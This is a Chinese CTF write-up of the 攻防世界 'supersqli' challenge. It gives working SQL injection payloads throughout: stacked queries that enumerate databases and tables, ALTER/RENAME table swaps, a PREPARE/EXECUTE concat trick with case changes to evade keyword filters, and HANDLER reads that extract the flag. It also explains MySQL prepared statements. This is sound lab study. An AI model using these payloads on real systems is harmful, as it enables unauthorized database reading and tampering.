攻防世界(六)supersqli


攻防世界系列:supersqli

 

方法一:

 

用逗號包裹回顯正常,說明存在注入

 

1';--+(注釋符也可用 -- 或 # 發現均未被過濾!)

 

 

 

有order by 語句可知表由2個字段,使用聯合查詢 (想看看當前所在的數據庫)。結果發現關鍵字select被過濾了

 

-1' union select 1,database();--+

 

 

 

 

 

想到堆疊注入,發現可以。查看所有庫

 

-1';show databases;--+

 

 

 

 

查看所有表

 

 

-1';show tables;--+

 

 

 

查看表words里的字段

 

-1';show columns from words;--+

 

 

 查看表 `1919810931114514`

 

-1';show columns from `1919810931114514`;--+

 

注意:以純數字命名的表,操作時要加上反引號。

 

 

至此可知flag就在這個數字表中,如何取出它呢?

分析:supersqli中兩個表

words表,兩個字段 id 、data。其中id為整形int(10)、data為字符型varchar(100)。

數字表,只有一個字段。且已知存的為flag

可以確定默認查詢的表為words,我們使用rename、alter把flag所在的數字表修改為默認查詢的表。

具體做法:

words名改為word123     alter table words rename to words123;

把數字表名改為 words   alter table `1919810931114514` rename to words;

現在的words表中沒有id字段,我們把flag字段名改為id     alter table words change flag id varchar(100);

最終構造語句:

 

1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);--+

 

 

 

 

 構造:

 

1'or 1=1--+

 

 

 方法二:

Mysql的預編譯,繞過select的過濾

 

什么是預編譯?

參考:https://www.cnblogs.com/micrari/p/7112781.html

通常我們的一條sql在db接收到最終執行完畢返回可以分為下面三個過程:

  1. 詞法和語義解析
  2. 優化sql語句,制定執行計划
  3. 執行並返回結果

我們把這種普通語句稱作Immediate Statements

但是很多情況,我們的一條sql語句可能會反復執行,或者每次執行的時候只有個別的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計划等,則效率就明顯不行了。

所謂預編譯語句就是將這類語句中的值用占位符替代,可以視為將sql語句模板化或者說參數化,一般稱這類語句叫Prepared Statements或者Parameterized Statements
預編譯語句的優勢在於歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止sql注入。
當然就優化來說,很多時候最優的執行計划不是光靠知道sql語句的模板就能決定了,往往就是需要通過具體值來預估出成本代價。

例如:

編譯

我們接下來通過 PREPARE stmt_name FROM preparable_stm的語法來預編譯一條sql語句

mysql> prepare ins from 'insert into t select ?,?'; Query OK, 0 rows affected (0.00 sec) Statement prepared 

執行

我們通過 EXECUTE stmt_name [USING @var_name [, @var_name] ...] 的語法來執行預編譯語句

mysql> set @a=999,@b='hello'; Query OK, 0 rows affected (0.00 sec) mysql> execute ins using @a,@b; Query OK, 1 row affected (0.01 sec) Records: 1 Duplicates: 0 Warnings: 0 mysql> select * from t; +------+-------+ | a | b | +------+-------+ | 999 | hello | +------+-------+ 1 row in set (0.00 sec) 

可以看到,數據已經被成功插入表中。

 

具體做法:

編譯

set @sql = concat('sele','ct * from `1919810931114514`;');

prepare stm from @sql;

執行

execute stm;--+

 

最終構造語句:

set @sql = concat('sele','ct * from `1919810931114514`;');prepare stm from @sql;execute stm;--+

 

 

 

strstr對關鍵字set 和prepare進行了過濾,但他不區分大小寫,我們可以繞過

 

1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+

 

 

 

方法三:

 

rename和alter如果被禁了,還可以用這個

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;--+

(用於在知道表的情況下,部分關鍵字被禁止的情況下,用handler直接讀取表內容。)

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM